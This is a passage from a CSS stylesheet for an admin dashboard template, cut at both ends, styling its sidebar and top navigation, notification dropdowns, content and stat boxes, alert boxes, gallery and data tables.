	display: block;
}

/* Sidebar Navigation */
.navi-acc {
	list-style-type: none;
	float: left;
	width: 100%;
}

.navi-acc>li {
	position: relative;
	width: 100%;
	float: left;
}

.navi-acc li div {
	padding: 20px;
	background: #aef;
	display: block;
	clear: both;
	float: left;
	width: 360px;
}

.navi-acc a {
	color: #9b9ba3 !important;
	display: inline-block;
	padding: 17px 20px 20px 67px;
	font-family: 'Droid Sans', sans-serif;
	font-size: 13px;
	font-weight: bold;
	width: 100%;
	position: relative;
	text-transform: uppercase;
	background: url(../images/sep.gif) repeat-x bottom transparent;
}

aside.sidebarhidden .navi-acc a {
	padding-left: 0;
	padding-right: 0;
	text-indent: -9999px;
}

.navi-acc li a:before {
	content: "";
	position: absolute;
	left: 26px;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat;
}

.sidebarhidden .navi-acc li a:before {
	left: 23px;
}

.navi-acc li a.dashboard:before {
	background-position: 0px -26px;
	width: 22px;
	height: 22px;
	top: 16px;
}

.navi-acc li a.dashboard:hover:before,.navi-acc li.active a.dashboard:before
	{
	background-position: -27px -26px;
}

.navi-acc li a.layouts:before {
	background-position: 0px -48px;
	width: 20px;
	height: 20px;
	top: 17px;
}

.navi-acc li a.layouts:hover:before,.navi-acc li.active a.layouts:before
	{
	background-position: -27px -48px;
}

.navi-acc li a.ui-elements:before {
	background-position: 0 -69px;
	width: 20px;
	height: 20px;
	top: 17px;
}

.navi-acc li a.ui-elements:hover:before,.navi-acc li.active a.ui-elements:before
	{
	background-position: -27px -69px;
}

.navi-acc li a.mailbox:before {
	background-position: 0px -111px;
	width: 24px;
	height: 15px;
	top: 19px;
}

.navi-acc li a.mailbox:hover:before,.navi-acc li.active a.mailbox:before
	{
	background-position: -27px -111px;
}

.navi-acc li a.forms:before {
	background-position: 0px -127px;
	width: 24px;
	height: 20px;
	top: 16px;
}

.navi-acc li a.forms:hover:before,.navi-acc li.active a.forms:before {
	background-position: -27px -127px;
}

.navi-acc li a.pages:before {
	background-position: 0px -148px;
	width: 20px;
	height: 20px;
	top: 17px;
}

.navi-acc li a.pages:hover:before,.navi-acc li.active a.pages:before {
	background-position: -27px -148px;
}

.navi-acc li a.charts:before {
	background-position: 0px -90px;
	width: 20px;
	height: 20px;
	top: 16px;
}

.navi-acc li a.charts:hover:before,.navi-acc li.active a.charts:before {
	background-position: -27px -90px;
}

.navi-acc li a.extras:before {
	background-position: 0 -169px;
	width: 20px;
	height: 19px;
	top: 17px;
}

.navi-acc li a.extras:hover:before,.navi-acc li.active a.extras:before {
	background-position: -27px -169px;
}

.navi-acc li a.loginoptions:before {
	background-position: 0 -189px;
	width: 22px;
	height: 22px;
	top: 15px;
}

.navi-acc li a.loginoptions:hover:before,.navi-acc li.active a.loginoptions:before
	{
	background-position: -27px -189px;
}

.navi-acc li a.maps:before {
	background-position: -2px -212px;
	width: 18px;
	height: 25px;
	top: 14px;
}

.navi-acc li a.maps:hover:before,.navi-acc li.active a.maps:before {
	background-position: -29px -212px;
}

.navi-acc li.active>a,.navi-acc li a {
	-webkit-transition: background-color 1000ms ease;
	-moz-transition: background-color 1000ms ease;
	-ms-transition: background-color 1000ms ease;
	-o-transition: background-color 1000ms ease;
	transition: background-color 1000ms ease;
}

.navi-acc li.active>a,.navi-acc li:hover>a {
	color: #54acc0 !important;
	background-color: #1e202c;
}

.navi-acc li.active>a {
	background: #1e202c;
}

.navi-acc .label {
	position: absolute;
	right: 26px;
	top: 20px;
}

.sidebarhidden .label {
	display: none;
}

/* Level 2 */
.navi-acc li ul {
	background: #222430;
	padding: 10px 0;
	margin: 0;
	list-style: none;
}

aside.sidebarhidden .navi-acc li ul {
	left: 68px;
	top: 0;
	display: none !important;
	position: absolute;
	text-indent: inherit;
	width: 200px;
}

aside.sidebarhidden .navi-acc li.active ul {
	display: block !important;
}

.right-sec+aside.sidebarhidden .navi-acc li ul {
	left: auto;
	right: 68px;
}

aside.sidebarhidden .navi-acc li ul a {
	padding-left: 20px;
}

aside.sidebarhidden .navi-acc li:hover ul {
	display: block !important;
}

aside.sidebarhidden .navi-acc li ul li a {
	text-indent: inherit;
}

.navi-acc li ul li a {
	padding: 7px 26px 8px 26px;
	font-size: 13px;
	font-weight: normal;
	text-transform: none;
	background: none;
}

.navi-acc li ul li:hover a {
	background: #181922;
	color: #FFF !important;
}

/*Top Navigation */
.wrapper>header {
	width: 100%;
	z-index: 2;
	padding-bottom: 8px;
	position: relative;
	z-index: 999;
	border-bottom: #23262d solid 1px;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	background: rgb(56, 59, 68); /* Old browsers */
	/* IE9 SVG, needs conditional override of 'filter' to 'none' */
	background:
		url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iIzM4M2I0NCIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiMyZTJmMzQiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);
	background: -moz-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% ); /* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, rgba(56,
		59, 68, 1) ), color-stop(100%, rgba(46, 47, 52, 1) ) );
	/* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% ); /* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% ); /* Opera 11.10+ */
	background: -ms-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% ); /* IE10+ */
	background: linear-gradient(to bottom, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% ); /* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#383b44', endColorstr = '#2e2f34', GradientType = 0 ); /* IE6-8 */
}

.wrapper>header .logo {
	float: left;
	margin: 26px 0 0 26px;
}

.topnavigation {
	float: right;
	margin: 18px 20px 0 0px;
}

.topnavigation ul {
	list-style: none;
	float: right;
}

.topnavigation ul li {
	float: left;
	position: relative;
}

.topnavigation ul li:hover {
	background: #1e202c;
}

.topnavigation ul li a {
	color: #FFF;
	font-weight: bold;
	font-size: 13px;
	padding: 10px 20px;
	display: block;
	text-transform: uppercase;
}

.topnavigation ul li a span {
	margin-left: 5px;
	float: right;
	font-size: 10px;
	margin-top: 2px;
}

.topnavigation ul ul {
	display: none;
	position: absolute;
	left: 0;
	top: 40px;
	background: #1e202c;
	width: 200px;
	margin-left: 0;
	z-index: 1;
}

.topnavigation ul li:hover ul {
	display: block;
}

.topnavigation ul ul li {
	width: 100%;
}

.topnavigation ul ul li a {
	width: 100%;
	display: inline-block;
}

.topnavigation ul ul li a:hover {
	color: #FFF;
	background: #222430;
}

.topnavigation ul ul a {
	text-transform: none;
	color: #9b9ba3;
	font-weight: normal;
}

/* Right Section */
.right-sec {
	z-index: 1;
	display: table-cell;
	background: #f4f4f4;
	vertical-align: top;
}

.structure-row.alone .right-sec {
	display: block;
}

/* Right Section Header */
.right-sec>header {
	width: 100%;
	z-index: 2;
	padding: 10px 20px;
	position: relative;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	border-bottom: #23262d solid 1px;
	background: rgb(56, 59, 68);
	background:
		url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iIzM4M2I0NCIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiMyZTJmMzQiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);
	background: -moz-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% );
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, rgba(56,
		59, 68, 1) ), color-stop(100%, rgba(46, 47, 52, 1) ) );
	background: -webkit-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% );
	background: -o-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% );
	background: -ms-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% );
	background: linear-gradient(to bottom, rgba(56, 59, 68, 1) 0%,
		rgba(46, 47, 52, 1) 100% );
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#383b44', endColorstr = '#2e2f34', GradientType = 0 );
}

/* Header User Section */
.right-sec>header .user {
	float: left;
}

/* User Avatar */
.user figure {
	padding: 5px;
	width: 44px;
	height: 44px;
	float: left;
	border-radius: 50%;
	-o-border-radius: 50%;
	-webkit-border-radius: 50%;
	-webkit-box-sizing: content-box;
	-moz-box-sizing: content-box;
	box-sizing: content-box;
	border: #fff solid 1px;
}

.user figure img {
	width: 44px;
	height: 44px;
	border-radius: 50%;
	-o-border-radius: 50%;
	-webkit-border-radius: 50%;
}

.user .welcome {
	float: left;
	padding-top: 8px;
	margin-left: 10px;
}

.user .welcome p,.user .welcome h5 {
	padding: 0;
	margin: 0;
	color: #FFF;
}

.user .welcome h5 a {
	color: #FFF;
}

/* Search Section */
.right-sec .search-box {
	float: left;
	height: 33px;
	width: 333px;
	margin: 11px 0 0 30px;
	border-radius: 20px;
	position: relative;
	border: #6b6d73 solid 2px;
	background: #444549;
}

.right-sec .search-box:before {
	content: "";
	width: 12px;
	height: 12px;
	position: absolute;
	left: 16px;
	top: 8px;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat -60px -5px;
}

.right-sec .search-box input[type="text"] {
	border: none;
	width: 80%;
	color: #D9DBE1;
	margin: 6px 0 0 40px;
	padding-right: 40px;
	background: transparent;
}

.right-sec .search-box input[type="submit"] {
	font-size: 13px;
	color: #6d6f75 !important;
	font-weight: bold;
	padding: 0 10px;
	text-transform: uppercase;
	border: none;
	height: 23px;
	border-left: #6b6d73 solid 2px;
	background: none;
	position: absolute;
	right: 0;
	top: 3px;
}

/* Top Section Navigation */
.topnav {
	float: right;
}

.topnav ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

.topnav ul li {
	float: left;
	margin-top: 15px;
	padding: 5px 10px;
}

.topnav>ul>li>a {
	color: #fff;
}

.topnav>ul>li>a>i {
	margin-right: 10px;
}

/* Tasks Dropdown */
.topnav ul li {
	position: relative;
}

.topnav ul li:hover {
	background: #666981;
}

.topnav ul li:hover a {
	color: #fff;
}

.topnav ul li .popdown {
	position: absolute;
	left: 0;
	top: 30px;
	display: none;
	background: #666981;
	width: 300px;
}

.popdown-right {
	left: inherit !important;
	right: 0 !important;
}

.topnav ul li:hover .popdown {
	display: block;
}

/* Tasks List - Dropdown */
.taskslist {
	width: 100%;
	float: left;
}

.taskslist ul {
	width: 100%;
	padding: 10px 20px 20px 20px;
	margin: 0;
	list-style: none;
	float: left;
	border-bottom: #797b90 solid 1px;
}

.taskslist ul li {
	width: 100%;
	padding: 0 0;
	margin: 10px 0 0 0;
	list-style: none;
}

.taskslist ul li:first-child {
	margin: 0 0 0 0;
}

.taskslist ul li h6 {
	color: #FFF;
}

.taskslist ul li h6 span {
	font-weight: normal;
}

.taskslist ul li h6 a {
	color: #FFF;
}

.taskslist ul li .progress {
	margin: 0;
	height: 8px;
}

.taskslist a.viewall {
	color: #FFF;
	padding: 8px 20px 12px 20px;
	float: left;
	font-size: 13px;
}

/* Notification List - Dropdown */
.notificationlist {
	width: 100%;
	float: left;
}

.notificationlist ul {
	width: 100%;
	padding: 10px 20px 20px 20px;
	margin: 0;
	list-style: none;
	float: left;
	border-bottom: #797b90 solid 1px;
}

.notificationlist ul li {
	width: 100%;
	padding: 20px 0 0 0;
	margin: 10px 0 0 0;
	list-style: none;
	color: #FFF;
	border-top: #797b90 solid 1px;
}

.notificationlist ul li:first-child {
	margin: 0 0 0 0;
	padding: 10px 0 0 0;
	border: none;
}

.notificationlist ul li h6 {
	color: #FFF;
	margin: 0 0 5px 0;
}

.notificationlist ul li p {
	margin: 0 0 0px 0;
}

.notificationlist ul li span {
	color: #d9d9d9;
	font-size: 11px;
	margin: 0 0 0px 0;
}

.notificationlist ul li span i {
	font-size: 9px;
	margin-right: 5px;
}

.notificationlist ul li h6 a {
	color: #FFF;
}

.notificationlist a.viewall {
	color: #FFF;
	padding: 8px 20px 12px 20px;
	float: left;
	font-size: 13px;
}

/* Settings List - Dropdown */
.popdown.settings {
	width: 200px !important;
}

.settings nav {
	width: 100%;
}

.settings nav a {
	width: 100%;
	color: #FFF;
	display: block;
	padding: 10px 20px;
	border-top: #797b90 solid 1px;
}

.settings nav a:hover {
	background: #494c67;
}

.settings nav a i {
	margin-right: 10px;
}

/* Content Section */
.content-section {
	width: 100%;
	z-index: 1;
	position: relative;
	padding: 0px 15px 30px 15px;
}

/* Content Box */
.sec-box {
	width: 100%;
	height: 100%;
	background: #FFF;
	position: relative;
	-webkit-box-shadow: 0px 2px 2px 0 #E8E8E8;
	box-shadow: 0px 2px 2px 0 #E8E8E8;
}

/* Content Box - Header */
.sec-box header {
	width: 100%;
	padding: 16px 20px;
	border-bottom: #e6e7e8 solid 1px;
}

.sec-box header h2 {
	padding: 0;
	margin: 0;
}

/* Content Box - Close Button */
.sec-box a.closethis {
	float: right;
	width: 17px;
	height: 17px;
	display: inline-block;
	position: absolute;
	right: 20px;
	top: 20px;
	cursor: pointer;
	text-indent: -9999px;
	background: url(../images/sprite.png) no-repeat -145px -116px;
}

/* Content Box - Toggle Button */
.sec-box a.togglethis {
	float: right;
	width: 17px;
	height: 17px;
	display: inline-block;
	position: absolute;
	right: 45px;
	top: 20px;
	cursor: pointer;
	text-indent: -9999px;
	background: url(../images/sprite.png) no-repeat -167px -116px;
}

.sec-box.dark a.togglethis {
	background-position: -167px -138px;
}

.sec-box a.togglethis.clicked {
	-moz-transform: rotate(180deg);
	-webkit-transform: rotate(180deg);
	-o-transform: rotate(180deg);
	-ms-transform: rotate(180deg);
	transform: rotate(180deg);
}

/* Content Box - Inner Section */
.sec-box .contents {
	width: 100%;
	-webkit-transition: all 500ms ease;
	-moz-transition: all 500ms ease;
	-ms-transition: all 500ms ease;
	-o-transition: all 500ms ease;
	transition: all 500ms ease;
}

/* Content Box with 20px Paddings */
.boxpadding {
	padding: 20px;
}

/* Content Box - Dark */
.sec-box.dark {
	color: #cbccd2;
	background: #666981;
}

.sec-box.dark a {
	color: #fff;
}

.sec-box.dark p {
	color: #cbccd2;
}

.sec-box.dark header {
	border-bottom: #797b90 solid 1px;
}

.sec-box.dark header h2 {
	color: #FFF;
}

.sec-box.dark a.closethis {
	background: url(../images/sprite.png) no-repeat -145px -138px;
}

.hidden-sec {
	height: 0px;
	overflow: hidden;
	padding: 0px !important;
}

/* User Section */
.users-section {
	width: 100%;
}

.users-section ul {
	width: 100%;
	float: left;
	margin: -20px 0 0 -20px;
	list-style: none;
}

.users-section ul li {
	width: 50%;
	margin-top: 20px;
	float: left;
	padding-left: 20px;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
}

.users-section figure {
	padding: 5px;
	width: 44px;
	height: 44px;
	float: left;
	border-radius: 50%;
	-webkit-box-sizing: content-box;
	-moz-box-sizing: content-box;
	box-sizing: content-box;
	border: #d5d5d5 solid 1px;
}

.users-section figure img {
	width: 44px;
	height: 44px;
	border-radius: 50%;
}

.users-section .welcome {
	float: left;
	padding-top: 8px;
	margin-left: 10px;
}

.users-section .welcome p,.users-section .welcome h5 {
	padding: 0;
	margin: 0;
}

/* Tabs Contents Section */
.tab-content {
	background: #fff;
}

/* Links List Section */
.linkslist {
	width: 100%;
}

.linkslist ul {
	width: 100%;
	margin: -20px 0 0 0;
	list-style: none;
}

.linkslist ul li {
	width: 100%;
	font-size: 14px;
	padding: 15px 0;
	position: relative;
	border-top: #e6e7e8 solid 1px;
	-webkit-transition: all 500ms ease;
	-moz-transition: all 500ms ease;
	-ms-transition: all 500ms ease;
	-o-transition: all 500ms ease;
	transition: all 500ms ease;
}

.dark .linkslist ul li {
	border-top: #797b90 solid 1px;
}

.linkslist ul li:first-child {
	border-top: none;
}

.linkslist ul li.success-list:after,.linkslist ul li.error-list:after {
	content: "";
	display: inline-block;
	position: absolute;
	right: 20px;
	top: 16px;
	width: 17px;
	height: 19px;
	background: url(../images/sprite.png) no-repeat -260px -116px;
}

.linkslist ul li.success-list:after {
	background-position: -260px -116px;
}

.linkslist ul li.error-list:after {
	background-position: -260px -137px;
}

.linkslist ul li a {
	font-size: 14px;
}

.dark .linkslist ul li a {
	color: #FFF;
}

.linkslist ul li span {
	color: #9d9d9d;
	font-size: 12px;
	padding-left: 10px;
}

.dark .linkslist ul li span {
	color: #cbccd2;
}

.linkslist ul li:hover {
	padding-left: 20px;
	padding-right: 20px;
	background: #f8f8f9;
}

.dark .linkslist ul li:hover {
	background: #3d415d;
}

/* Stat Boxes */
.stat-box {
	width: 100%;
	height: 100px;
	color: #FFF;
	padding: 25px 0 0 84px;
	position: relative;
}

/* Stat Boxes icons */
.stat-box i {
	position: absolute;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat;
}

.stat-box i.author {
	left: 22px;
	top: 23px;
	width: 41px;
	height: 50px;
	background-position: -82px 0;
}

.stat-box i.chart {
	left: 22px;
	top: 23px;
	width: 47px;
	height: 42px;
	background-position: -82px -60px;
}

.stat-box i.pages {
	left: 22px;
	top: 23px;
	width: 44px;
	height: 44px;
	background-position: -130px -5px;
}

.stat-box i.users {
	left: 22px;
	top: 23px;
	width: 44px;
	height: 44px;
	background-position: -135px -56px;
}

.stat-box i.downloads {
	left: 22px;
	top: 23px;
	width: 37px;
	height: 44px;
	background-position: -182px -5px;
}

.stat-box i.comments {
	left: 22px;
	top: 23px;
	width: 46px;
	height: 44px;
	background-position: -187px -57px;
}

.stat-box h4 {
	color: #FFF;
	margin: 0;
	font-weight: normal;
}

.stat-box h1 {
	color: #FFF;
	margin: 0;
	font-size: 32px;
}

/* Stat Boxes colors list */
.stat-box.colorone {
	background: #666981;
}

.stat-box.colortwo {
	background: #68cab6;
}

.stat-box.colorthree {
	background: #e17695;
}

.stat-box.colorfour {
	background: #a285c5;
}

.stat-box.colorfive {
	background: #22ba9b;
}

.stat-box.colorsix {
	background: #fbb168;
}

.stat-box.colorseven {
	background: #fb6868;
}

.stat-box.coloreight {
	background: #96c250;
}

.stat-box.colornine {
	background: #2babc2;
}

.stat-box.colorten {
	background: #304de5;
}

.stat-box.coloreleven {
	background: #9f30e5;
}

.stat-box.colortweleve {
	background: #e53078;
}

/* Stat Boxes - black and white */
.stat-box.bw {
	border: #e4e4e4 solid 1px;
	background: #fdfdfd; /* Old browsers */
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f5f5f5 100%);
	/* FF3.6+ */
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f5f5f5) ); /* Chrome,Safari4+ */
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f5f5f5 100%);
	/* Chrome10+,Safari5.1+ */
	background: -o-linear-gradient(top, #fdfdfd 0%, #f5f5f5 100%);
	/* Opera 11.10+ */
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f5f5f5 100%);
	/* IE10+ */
	background: linear-gradient(to bottom, #fdfdfd 0%, #f5f5f5 100%);
	/* W3C */
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f5f5f5', GradientType = 0 ); /* IE6-9 */
	-webkit-box-shadow: 1px 2px 2px #ECECEC;
	box-shadow: 1px 2px 2px #ECECEC;
}

.bw i.author {
	background-position: -248px 0;
}

.bw i.chart {
	background-position: -248px -60px;
}

.bw i.pages {
	background-position: -296px -5px;
}

.bw i.users {
	background-position: -301px -56px;
}

.bw i.downloads {
	background-position: -348px -5px;
}

.bw i.comments {
	background-position: -353px -57px;
}

.bw h4 {
	color: #323641;
}

.bw h1 {
	color: #323641;
}

/* Dark Tabs */
.tabs-section.dark {
	color: #cbccd2;
}

.tabs-section.dark .tab-pane a {
	color: #fff;
}

.tabs-section.dark .tab-pane p {
	color: #cbccd2;
}

.tabs-section.dark .nav-tabs>li>a {
	background: #3d415d;
	color: #898caa;
	border-color: #3d415d;
	border-left-color: #666981;
}

.tabs-section.dark .nav-tabs>li.active>a,.tabs-section.dark .nav-tabs>li.active>a:hover,.tabs-section.dark .nav-tabs>li.active>a:focus
	{
	color: #fff;
	background: #666981;
	border-top-color: #54acc0;
}

.tabs-section.dark .tab-content {
	background: #666981;
}

/* Success Box */
.sec-box.successbox {
	color: #fff;
	background: #07ba42;
}

.sec-box.successbox a.togglethis {
	background-position: -167px -158px;
}

.sec-box.successbox a {
	color: #fff;
}

.sec-box.successbox p {
	color: #fff;
}

.sec-box.successbox header {
	border-bottom: #59d180 solid 1px;
}

.sec-box.successbox header h2 {
	color: #FFF;
}

.sec-box.successbox a.closethis {
	background: url(../images/sprite.png) no-repeat -145px -158px;
}

/* Error Box */
.sec-box.errorbox {
	color: #fff;
	background: #e65b45;
}

.sec-box.errorbox a.togglethis {
	background-position: -167px -158px;
}

.sec-box.errorbox a {
	color: #fff;
}

.sec-box.errorbox p {
	color: #fff;
}

.sec-box.errorbox header {
	border-bottom: #ee9182 solid 1px;
}

.sec-box.errorbox header h2 {
	color: #FFF;
}

.sec-box.errorbox a.closethis {
	background: url(../images/sprite.png) no-repeat -145px -158px;
}

/* Information Box */
.sec-box.infobox {
	color: #fff;
	background: #51b2e9;
}

.sec-box.infobox a.togglethis {
	background-position: -167px -158px;
}

.sec-box.infobox a {
	color: #fff;
}

.sec-box.infobox p {
	color: #fff;
}

.sec-box.infobox header {
	border-bottom: #8acbf0 solid 1px;
}

.sec-box.infobox header h2 {
	color: #FFF;
}

.sec-box.infobox a.closethis {
	background: url(../images/sprite.png) no-repeat -145px -158px;
}

/* Warning Box */
.sec-box.warningbox {
	color: #fff;
	background: #ffcc00;
}

.sec-box.warningbox a.togglethis {
	background-position: -167px -158px;
}

.sec-box.warningbox a {
	color: #fff;
}

.sec-box.warningbox p {
	color: #fff;
}

.sec-box.warningbox header {
	border-bottom: #ffdd54 solid 1px;
}

.sec-box.warningbox header h2 {
	color: #FFF;
}

.sec-box.warningbox a.closethis {
	background: url(../images/sprite.png) no-repeat -145px -158px;
}

/* text color classes */
.redtext {
	color: #db1515;
}

.bluetext {
	color: #304de5;
}

.greentext {
	color: #7ec211;
}

.graytext {
	color: #c8c8c8;
}

.orangetext {
	color: #f39c12;
}

.redhighlight {
	color: #FFF;
	padding: 2px 5px;
	background: #db1515;
	display: inline-block;
}

.grayhighlight {
	color: #6d6f75;
	padding: 2px 5px;
	background: #ecf0f1;
	display: inline-block;
}

.greenhighlight {
	color: #FFF;
	padding: 2px 5px;
	background: #7ec211;
	display: inline-block;
}

/* Gallery */
.gallerybox {
	float: left;
	margin: -20px 0 0 -20px;
	list-style: none;
}

.gallerybox li {
	width: 20%;
	float: left;
	margin-top: 20px;
	padding-left: 20px;
}

.gallerybox li figure {
	width: 100%;
	position: relative;
}

.gallerybox li a {
	width: 100%;
}

.gallerybox li a img {
	width: 100%;
}

.gallerybox li figcaption {
	width: 100%;
	left: 0;
	bottom: 0;
	opacity: 0;
	position: absolute;
	padding: 5px 0 15px 0;
	background: #33363f;
	-webkit-transition: all 500ms ease;
	-moz-transition: all 500ms ease;
	-ms-transition: all 500ms ease;
	-o-transition: all 500ms ease;
	transition: all 500ms ease;
}

.gallerybox li:hover figcaption {
	opacity: 1;
}

.gallerybox li figcaption a {
	color: #fff;
}

.gallerybox li figcaption h5 {
	width: 100%;
	text-align: center;
}

.gallerybox li figcaption .controls {
	width: 100%;
	text-align: center;
}

.gallerybox li figcaption .edit {
	width: 22px;
	height: 22px;
	text-indent: -9999px;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat -63px -191px;
}

.gallerybox li figcaption .delete {
	width: 22px;
	height: 22px;
	margin-left: 3px;
	text-indent: -9999px;
	display: inline-block;
	background: url(../images/sprite.png) no-repeat -90px -191px;
}

/* Tables */
.table-box {
	width: 100%;
	float: left;
}

.table-box .dataTables_length {
	float: left;
	padding: 11px 0 7px 10px;
}

.table-box .dataTables_filter {
	float: right;
	padding: 11px 10px 7px 0px;
}

.table-box .dataTables_info {
	float: left;
	color: #323641;
	padding: 24px 0 16px 20px;
}

/*.table-box .dataTables_paginate{*/ /*	display: inline-block;*/
	/*	padding-left: 0;*/ /*	margin: 15px 15px 0px 0px;*/ /*	float:right;*/
	/*	border-radius: 4px;*/ /*	color: #6d6f75;*/
	/*	background: #fdfdfd;  Old browsers */
	/*	background: -moz-linear-gradient(top,  #fdfdfd 0%, #f7f7f7 100%);  FF3.6+ */
	/*	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fdfdfd), color-stop(100%,#f7f7f7));  Chrome,Safari4+ */
	/*	background: -webkit-linear-gradient(top,  #fdfdfd 0%,#f7f7f7 100%);  Chrome10+,Safari5.1+ */
	/*	background: -o-linear-gradient(top,  #fdfdfd 0%,#f7f7f7 100%);  Opera 11.10+ */
	/*	background: -ms-linear-gradient(top,  #fdfdfd 0%,#f7f7f7 100%);  IE10+ */
	/*	background: linear-gradient(to bottom,  #fdfdfd 0%,#f7f7f7 100%);  W3C */
	/*	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fdfdfd', endColorstr='#f7f7f7',GradientType=0 );  IE6-9 */
	/*	box-shadow: 0 1px 2px #E7EBEC;*/ /*}*/
	/*.table-box .dataTables_paginate a{*/ /*	position: relative;*/
	/*	float: left;*/ /*	color:#6d6f75;*/ /*	font-size:11px;*/
	/*	padding: 5px 10px;*/ /*	margin-left: -1px;*/
	/*	line-height: 1.428571429;*/ /*	text-decoration: none;*/
	/*	border: 1px solid #dddddd;*/ /*}*/
.dataTable {
	width: 100%;
	clear: both;
	color: #323641;
	border-top: #e6e7e8 solid 1px;
}

.dataTable thead {
	width: 100%;
	clear: both;
	font-size: 15px;
	font-weight: bold;
	background: #f7f7f7;
}

.dataTable thead th {
	padding: 16px 20px;
}

.dataTable tr {
	width: 100%;
}

.dataTable tbody tr:nth-child(even) {
	background: #f6f8fa;
}

.dataTable tbody tr:nth-child(odd) {
	background: #FFF;
}

#icons tr th {
	width: 80%;
}

#icons tr th:first-child {
	width: 20%;
}

.dataTables_wrapper tr td {
	padding: 15px 20px 17px 20px;
}

#icons tr td:first-child {
	width: 20%;
	font-size: 16px;
}

#icons tr td:first-child {
	width: 20%;
}

.dataTables_wrapper {
	float: left;
	width: 100%;
}

/* DataTables sorting */
.sorting_asc {
	background: url('../images/sort_asc.png') no-repeat 99% 47%;
}

.sorting_desc {
	background: url('../images/sort_desc.png') no-repeat 99% 47%;
}

.sorting {
	background: url('../images/sort_both.png') no-repeat 99% 47%;
}

.sorting_asc_disabled {
	background: url('../images/sort_asc_disabled.png') no-repeat 99% 47%;
}

.sorting_desc_disabled {
	background: url('../images/sort_desc_disabled.png') no-repeat 99% 47%;
}

table.display thead th:active,table.display thead td:active {
	outline: none;
}

/* Custom Radios and checkboxes  */
.custom-radio-checkbox {
	width: 100%;
	margin: 8px 0;
	float: left;
}

td .custom-radio-checkbox:first-child {
	margin-top: 0;
}

.custom-radio-checkbox>div {
	float: left;
}

.custom-radio-checkbox label {
	margin: 0px 0 0 10px;
	float: left;
}

/* On/Off Switches - Custom Style */
.onoffswitch.customstyle {
	position: relative;
	width: 90px;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
}

.onoffswitch.customstyle .onoffswitch-checkbox {
	display: none;
}

.onoffswitch.customstyle .onoffswitch-label {
	display: block;
	overflow: hidden;
